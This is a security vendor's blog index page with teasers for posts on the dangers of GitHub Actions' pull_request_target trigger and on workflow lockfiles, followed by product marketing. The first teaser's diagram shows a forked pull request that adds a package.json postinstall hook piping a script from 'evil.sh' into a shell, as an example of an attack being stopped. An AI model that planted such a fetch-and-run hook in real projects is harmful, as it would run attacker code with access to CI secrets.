The SpockOps Blog

What we learn running, pricing and governing GitHub Actions, written down as we go.

pull_request_targeta fork's pull request, your secrets, and the policy that stops it#482 Fix a typo in the READMEocto-fork:main → your-org/appfrom a fork+ "postinstall": "curl evil.sh | sh"Checksci.ymlon: pull_request_targetsecretswrite tokenrunning…✗ cancelled by SpockOpstest.ymlon: pull_requestno secretsread-onlyrunning…✓ passedSpockOps policy · Event Triggerpush ✓ pull_request ✓ workflow_run ✓pull_request_target ✗GitHub blocks it in public repositories from 2 December · a SpockOps policy holds the rule everywhereA pull request from a fork that changes package.json: its pull_request_target run carries your secrets and a write token, and a SpockOps policy that doesn't allow the trigger cancels it; the same tests on pull_request run with no secrets and pass
governancesecuritypolicies

pull_request_target: why to stop using it, and what to use instead

GitHub blocks pull_request_target by default from 2 December. Why the trigger is dangerous, the simple two-workflow pattern to use instead, and how to keep it out of every repository.

Sash5 min read

More tagged security

2 posts
GitHub Actions lockfilesa tag can move; the commit in actions.lock can'tactions/checkout1b7c04e8f3a2c1e4d9b07compromisedv4your workflowsdeploy.ymlcheckout@v4 · in actions.lockruns 8f3a2c1 ✓ci.ymlcheckout@v4 · trusts the tagruns 8f3a2c1runs e4d9b07 ✗SpockOps, on every rundeploy.yml · Lockedci.yml · Tag or branchactions/checkout's v4 tag is moved onto a compromised commit: ci.yml, which trusts the tag, runs it; deploy.yml, locked by actions.lock, keeps running the commit it recorded; SpockOps marks one Locked and the other Tag or branch
security

GitHub Actions lockfiles are generally available: what they fix, and what to watch across every repository

GitHub Actions workflow lockfiles pin every action, transitive dependency and reusable workflow to a commit. What they fix, what they don't, and how to start using …

6 min read

Every run checked.
Every deployment decided.
Every decision signed.

One rulebook for people, bots and agents across your GitHub Actions estate. SpockOps checks every run as it starts, decides each deployment by who asked, what ran it and where it came from, and signs every decision into a record your auditors can re-run. Engineers see each verdict as a check beside their tests, and nothing in their workflows changes.

No changes to any workflow or repository: nothing runs inside your pipelines.